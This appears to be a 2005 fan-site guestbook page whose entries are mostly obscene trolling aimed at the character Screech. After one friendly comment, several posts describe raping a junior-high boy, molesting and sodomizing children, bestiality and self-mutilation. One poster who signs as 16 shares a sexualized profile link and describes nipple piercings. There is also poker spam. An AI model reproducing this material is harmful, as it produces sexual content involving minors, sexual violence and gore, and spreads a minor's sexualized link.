| 19th June 2005 - 07:38:40 PM |
| 24728 : Delight Full Decor |
| Great Site! Keep up the good work. |
| 19th June 2005 - 11:11:25 PM |
| 24729 : Zack\'s dad |
| Screech, remember that time when you were in Junior High and you slept over in Zack's room? Remember when I snuck into Zack's room and quietly grabbed you and brought you down to my basement where I assraped you for an hour, finishing you off with a donkey punch? Remember when I brought you back to Zack's room and dropped you on the floor? Remember when Zack woke up the next day and was pissed at your because your bloody ass stained his carpet? Remember how you couldn't remember how that could have happened? |
| 19th June 2005 - 11:45:44 PM |
| 24730 : Michael Jackson |
| screech, please visit neverland ranch so that i can molest you. again |
| 20th June 2005 - 12:16:26 AM |
| 24731 : diamond\'s taint |
| lick me |
| 20th June 2005 - 07:28:25 AM |
| 25203 : Twyla 16 |
| hmmm...i havent been here in forever...hmmm...link time: http://www.buddypic.com/users/milkslut |
| 20th June 2005 - 07:34:26 AM |
| 25204 : Twyla 16 |
| If you actually go to it then click Thank God...and click VF or myspace for more pics...im posting some new ones today because i have to show off my peircings...i have my lip double peirced...the whole snake bite thing...my lobes are guaged...my cartalidge...and my nipples...non of which hurt...well...i was passed out during the nipples so i dont know... |
| 20th June 2005 - 12:30:39 PM |
| 25223 : |
| Take your time to take a look at some helpful info about poker rules ... |
| 20th June 2005 - 04:48:26 PM |
| 25545 : |
| shit ! |
| 20th June 2005 - 05:39:52 PM |
| 25550 : poke \'er |
| It may interest you to watch me sodomize a child stricken with hyderocephalus. |
| 20th June 2005 - 05:45:24 PM |
| 25552 : poke me |
| Please take the time to look at cine footage of me inserting used syringes into the rectum of an anaesthatised moose - Tons of interesdting stuff!!!. |
| 20th June 2005 - 05:50:28 PM |
| 25553 : texas holdcock |
| You can also see me fellate an elderly hippopotamus whilst being gang-raped by burly, HIV+ South American guerillas who have sticks of lit dynamite up their colons ... Thanks!!! |
| 20th June 2005 - 05:56:37 PM |
| 25555 : dustin rules |
| In your spare time you can fantasize about me taking hard drugs and carving pentagrams into my own flesh with a rusty steak-knife before removing the genitals of a syphillitic goat and having sex with the bloody wound ... because it turns me on to think of hot studs fantasizing about me and their penises becoming erect ... Thanks!!! |